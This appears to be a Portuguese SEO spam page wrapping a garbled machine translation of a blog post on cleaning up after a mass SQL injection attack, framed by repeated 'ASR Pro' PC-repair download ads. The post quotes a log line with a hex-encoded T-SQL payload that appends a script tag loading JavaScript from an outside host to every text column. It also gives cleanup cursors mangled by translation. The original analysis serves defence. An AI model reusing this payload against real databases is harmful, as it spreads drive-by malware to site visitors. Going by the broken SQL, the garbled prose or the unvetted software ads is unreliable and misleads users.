Portuguese

Script De Limpeza De Injeção De SQL? Repare Imediatamente

Às vezes, seu computador pode gerar cada código de erro indicando um script de limpeza de tratamento de SQL. Este problema pode ser causado por vários motivos.

Corrigir erros do PC em minutos

  • Etapa 1: baixar e instalar o ASR Pro
  • Etapa 2: abra ASR Pro e clique no botão "Digitalizar"
  • Etapa 3: clique no botão "Restaurar" para iniciar o processo de restauração
  • Este software consertará seu PC - faça o download agora para começar.

    NOVA ATUALIZAÇÃO MELHORADA: Limpeza após ataque de injeção de SQL, parte 2

    [ATUALIZAÇÃO: código adicionado para que você controle a substituição de texto em todos os campos de texto do SQL Server 2000.]

    Uma semana atrás, um de nossos valiosos clientes processou um ataque na web. Não temos certeza de como esse ataque excepcional foi realizado – todos nós pensando em um novo servidor da Web sem patch instalado no objetivo – mas isso me levou a dar uma olhada no arquivo de aceitação do site – ver quem pode com o muito reescrever index.htm site basicamente seria. (Você geralmente pode ver os logs do FTP, a resposta é um único vilão asiático que quebrou essa senha.)

    Como eu pensava, mas sem dúvida nada, já vi várias mordidas de injeção de SQL, nenhuma delas foi gratificante (verifiquem sempre seus problemas, crianças!), além de despertarem algum interesse pessoal, mesmo assim eu quebrou-o.

    Não tenho certeza se posso ir mais longe sem encontrar o código. Descobrir as regras é uma faca de dois gumes. Eu quero que os americanos sejam capazes de descobrir inequivocamente nos motores de busca se eles são afetados; ainda assim, ao mesmo tempo, por favor, não vejo pessoas usando isso para espalhar o mal …

    SQL Injection

    A seguinte mensagem deve ter aparecido em todos os jornais (as limas do IP foram alteradas para proteger os inocentes e os menos inocentes):

     27/06/2008 21.20.32 x.x.x.x - W3SVC257 80 GET /gallery/index.asp tipo é igual a 4; DECLARE% 20 @ S% 20VARCHAR (4000); JOGO @ 20% s = CAST (0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E6164777374652E6D6F62692F622E6A733E3C2F7363726970743E27272729 204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626 C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220% 20AS% 20VARCHAR (4000)); EXECUTIVO (@S), - | setenta e seis | 800a000d | Tipo incompatível: _ 'iGallery' algumas centenas 0 1422 0 HTTP / 1.1 Mozilla / 4.0 + (compatível; MSIE + + 7.0; + Windows + NT + 5.1; +. NET + CLR + 2.0.50727) - 

    Charmoso. É bem parecido com o senso comum que eles estão apenas tentando injetar positivamente algum código SQL em parte da url. Normalmente, esta festa de cerimônia de casamento padrão …

    Então, copiei a string de consulta específica em meu editor de mensagens de texto favorito (será o TextPad), como normalmente abro a string de consulta:

    script de retirada de injeção de sql

     DECLARE @S VARCHAR (4000)JOGO @ S = CAST (0x445434C4154054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E6164777374652E6D6F62692F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572 736F 72204445414C4C4F43415445205461626C655F437572736F7220 VARCHAR (4000))EXECUTIVO (@S)

    (Ok, já que troquei um pouco o sinal para torná-lo mais inofensivo, o que por sua vez não funcionará se você copiar, colá-lo no controle de qualidade e obter e remover.)

    >

    Eu empurrei nossa solicitação para o Analyzer e também pressionei fortemente o controle de qualidade para um repositório fictício. Então, se eu estraguei tudo, provavelmente machuquei alguma coisa …

    Poeta, mudei o EXEC dizendo para uma grande instrução PRINT totalmente. Posso ver o que o extenso CAST estava fazendo originalmente e, portanto, parte do T-SQL foi removido.

    Em suma, os profissionais de marketing criam objetos de sistema para todas as mesas de banquete de compra na lista (xtipo é igual a “u”) e envia as informações da mesa da sala diretamente para o cursor, no qual passa o cursor e paychecks digital farmland para sugestões maliciosas, especialmente text, ntext, varchar e o nome do gadget da coluna.

    (Execute determinado xtype, nome da empresa tudo, desde systypes; que basicamente contém uma grande especificação de tipos de dados disponíveis, sql combinada com I comparada a b.xtype subjacente em valores de código daemon.)

     DECLARE @T VARCHAR (255), @ C VARCHAR (255)DECLARAR CURSOR Tabela_Cursor PARASELECIONE a.name, b.name FROM sysobjects ba, syscolumns O a.id = b.id AND a.xtype é igual a 'u' AND (b.xtype = 99 OR b.xtype = 35 OU b.xtype é igual a 231 OR b .xtype = 167)ABRIR tabela_CursorSEGUIR DE Table_Cursor INTO @ T, @ CDURING (@@ FETCH_STATUS é igual a 0)COMEÇARPRINT ('UPDATE [' + @ T + '] SET [' + @ C + '] = RTRIM (CONVERT (VARCHAR (4000, [' + @ C + '])) +' '' '')SEGUIR DE Table_Cursor INTO @ T, @ CFIMCLOSE Table_CursorDESALLOCATE I table_cursor 

    Corrigir erros do PC em minutos

    Procurando uma ferramenta de reparo de PC poderosa e confiável? Não procure mais do que ASR Pro! Este aplicativo detectará e corrigirá rapidamente erros comuns do Windows, protegerá você contra perda de dados, malware e falhas de hardware e otimizará seu sistema para obter o máximo desempenho. Portanto, não lute com um computador com defeito - baixe o ASR Pro hoje mesmo!


    Novamente, o gráfico diário saiu para o controle, mudando-o para PRINT para que eu possa ver o que pode estar cuspindo …

    Ele produz um conjunto perfeito de instruções UPDATE que afetam a maioria de todas as linhas de trabalho dentro de todas as tabelas aplicáveis ​​que encontra. (Na prática, se não tivesse impresso as declarações UPDATE, as teria enviado, você sabe …)

     UPDATE [InProcessOrders] SET [StatusMessage] = RTRIM (CONVERT (VARCHAR (4000, [StatusMessage])) + "'UPDATE [Handhelds] SET [RecKey] = RTRIM (CONVERT (VARCHAR (4000), [RecKey]) ) + ''UPDATE [Handhelds] SET [RecName] = RTRIM (CONVERT (VARCHAR (4000, [RecName])) + '' 

    script de limpeza de injeção de sql

    Mas podemos ver que ele vem com sua tag SCRIPT maliciosa para o final de cada campo no interior, na esperança de que um dia esses elementos sejam exibidos sem impedimentos no página da web específica, onde sua carga útil certamente está oculta no IFRAME.

    Limpe a bagunça

    Então agora você tem o banco de dados prejudicial mais recente infectado, geralmente o código apenas no final de um mundo de dados. Para se livrar de tudo isso, você terá que executar aquele código específico novamente, mas com a substituição específica da frase, em vez de adicionar uma das terras agrícolas virtuais exatas.

    NOTA. Se você tem mais de 4000 caracteres em uma carreira de detalhes, vá para o seu backup, porque geralmente o tempo em que outra instância ataca apenas 4000 caracteres temporários, assim como ele é adicionado; Portanto, certas soluções deixam as pessoas com margens de lucro reduzidas. Se o número de suas fazendas dedicadas não exceder 4.000, a combinação específica deve ser boa.

    Então, se quebrarmos o código além disso, apenas fazermos uma pequena revisão … repensar a instrução UPDATE para que pareça substituir o bloco de script obtido intencionalmente por nada, embora o script Prevent nunca tenha existido. (Exceto conforme mencionado acima, no qual os dados individuais eram mais longos em contraste com 4.000 caracteres … @ T)

     declara VARCHAR (255), @ C VARCHAR (255)DECLARAR CURSOR Tabela_Cursor PARASELECT a.name, b.name FROM sysobjects ba, syscolumns O a.id = b.id AND a.xtype é igual a 'u' AND (b.xtype = 35 OR b.xtype = 231 OU b.xtype é igual a 167)ABRIR tabela_CursorSEGUIR DE Table_Cursor INTO @ T, @ CDURING (@@ FETCH_STATUS = 0)COMEÇARPRINT ('UPDATE [' + - T + '] SET [' + - C + '] = REPLACE ([' + @ C + '],' '' ',' '' ')')SEGUIR DE Table_Cursor INTO @ T, @ CFIMCLOSE Table_CursorDEALLOCATE Table_CursorDECLARE Table_Cursor FORSELECT cursor a.name, b.name FROM sysobjects b a, syscolumns O a.id = b.id AND a.xtype = 'u' AND b.xtype implica 99ABRIR tabela_CursorFETCH NEXT Table_Cursor INTO @ T, @ CDURING (@@ FETCH_STATUS é igual a 0)COMEÇARPRINT ('UPDATE [' + @ T + '] SET [' + @C + '] = cast (substituir (lançar ([' + @ C + '] uma vez nvarchar (4000)),' '' ',' ' '') o segundo ntexto) ')FETCH NEXT Table_Cursor INTO - T, @ CFIMCLOSE Table_CursorDEALLOCATE Table_Cursor 

    Isso é tudo. Se você alterar normalmente o código para que o tráfego interrompido que deseja remover esteja dentro do produto (ao contrário do meu novo url falso evilsite.evl), todas as instruções SQL solicitadas serão geradas, mas você pode executá-las em relação ao seu Banco de dados pessoal.

    (Dos verdes, você pode substituir o trabalhador PRINT por outro operador para o qual seu truque possa funcionar …)

    Uma onça de prevenção

    Claro, a melhor maneira de gerenciar a si mesmo é evitar que o ataque de injeção de SQL vaze em muitos deles. Esses ataques ao blog do wordpress de nosso cliente não tiveram sucesso porque afirmamos que as variáveis ​​que aceitamos eram números para o método de URL. Como havia caracteres alfabéticos nessa página, a página gerou um erro prejudicial e não pôde ser suspensa. (Na maior parte, agora não há nada de errado em cometer um erro negativo, porque acho que ninguém em particular está realmente visualizando suas páginas.)

    • Limite e limpe recomendações e pesquisas. Verifique as datas conhecidas e também teste o tipo, comprimento e formato como intervalo.
    • Use parâmetros SQL de segurança de tipo para obter acesso aos dados no conjunto de dados. Você possivelmente pode usar essas estratégias dinamicamente com procedimentos preservados ou personalizar as marcas de comando SQL. As coleções de parâmetros classificam o tempo de SqlParameterCollection para fornecer verificação de tipo e verificação de proporções simples. Quando você usa um conjunto personalizado de parâmetros, a entrada é normalmente tratada como um tesouro literal disponível e o SQL Server não a considera como código executável. Outro benefício de usar um pacote de parâmetros é que os compradores podem aplicar controles de opção e comprimento. As exceções são ofertas fora do intervalo alvo. Normalmente, este é um bom exemplo de profundidade com defesa.
    • Reutilize um cartão exclusivo com privilégios limitados no site. O ideal é conceder a execução de leitura e gravação aos procedimentos armazenados selecionados próximos ao banco de dados, em vez de fornecer uma tabela de acesso aleatório definitiva.
    • Dificilmente divulgue informações sobre erro do cliente Faz. Para erros relacionados ao banco de dados, não gere mensagens de erro detalhadas no caminho do usuário principal.

    Mais recentemente, o MVP da Microsoft Harry Waldron reuniu sua coleção de Práticas recomendadas para prevenir ataques de injeção de SQL.

    Este software consertará seu PC - faça o download agora para começar.